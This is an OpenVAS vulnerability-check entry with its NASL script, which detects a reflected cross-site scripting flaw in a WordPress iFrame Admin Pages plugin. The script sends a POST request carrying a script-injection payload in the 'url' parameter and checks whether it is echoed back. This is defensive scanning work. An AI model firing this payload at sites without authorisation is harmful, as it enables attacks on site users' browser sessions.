WordPress iFrame Admin Pages Plugin 'url' Parameter XSS Vulnerability

2012-05-16T00:00:00
ID OPENVAS:1361412562310802855
Type openvas
Reporter This script is Copyright (C) 2012 Greenbone Networks GmbH
Modified 2019-12-05T00:00:00

Description

This host is running WordPress with iFrame Admin Pages Plugin and is prone to cross site scripting vulnerability.

                                        
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# OpenVAS Vulnerability Test
#
# WordPress iFrame Admin Pages Plugin 'url' Parameter XSS Vulnerability
#
# Authors:
# Rachana Shetty <srachana@secpod.com>
#
# Copyright:
# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802855");
  script_version("2019-12-05T15:10:00+0000");
  script_bugtraq_id(53522);
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2019-12-05 15:10:00 +0000 (Thu, 05 Dec 2019)");
  script_tag(name:"creation_date", value:"2012-05-16 15:26:57 +0530 (Wed, 16 May 2012)");
  script_name("WordPress iFrame Admin Pages Plugin 'url' Parameter XSS Vulnerability");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/53522");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/75626");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/112701/wpiframeadminpages-xss.txt");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("This script is Copyright (C) 2012 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("secpod_wordpress_detect_900182.nasl");
  script_mandatory_keys("wordpress/installed");
  script_require_ports("Services/www", 80);
  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to insert
arbitrary HTML and script code, which will be executed in a user's browser
session in the context of an affected site.");
  script_tag(name:"affected", value:"WordPress iFrame Admin Pages Plugin version 0.1 and prior");
  script_tag(name:"insight", value:"The flaw is due to an improper validation of user supplied input
to the 'url' parameter in '/wp-content/plugins/iframe-admin-pages/main_page.php',
which allows attackers to execute arbitrary HTML and script code in a user's
browser session in the context of an affected site.");
  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");
  script_tag(name:"summary", value:"This host is running WordPress with iFrame Admin Pages Plugin and
is prone to cross site scripting vulnerability.");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE))exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))exit(0);

useragent = http_get_user_agent();
host = http_host_name(port:port);

url = dir + '/wp-content/plugins/iframe-admin-pages/main_page.php';

postdata = 'url="><script>alert(document.cookie)</script>&newiframe=' +
           'new&servicerequest=new';

ifReq = string("POST ", url, " HTTP/1.1\r\n",
               "Host: ", host, "\r\n",
               "User-Agent: ", useragent, "\r\n",
               "Content-Type: application/x-www-form-urlencoded\r\n",
               "Content-Length: ", strlen(postdata), "\r\n",
               "\r\n", postdata);
ifRes = http_keepalive_send_recv(port:port, data: ifReq);

if(ifRes && ifRes =~ "HTTP/1\.[0-9]+ 200" &&
   ">iFrame" >< ifRes &&
   "><script>alert(document.cookie)</script>" >< ifRes)
{
  security_message(port);
  exit(0);
}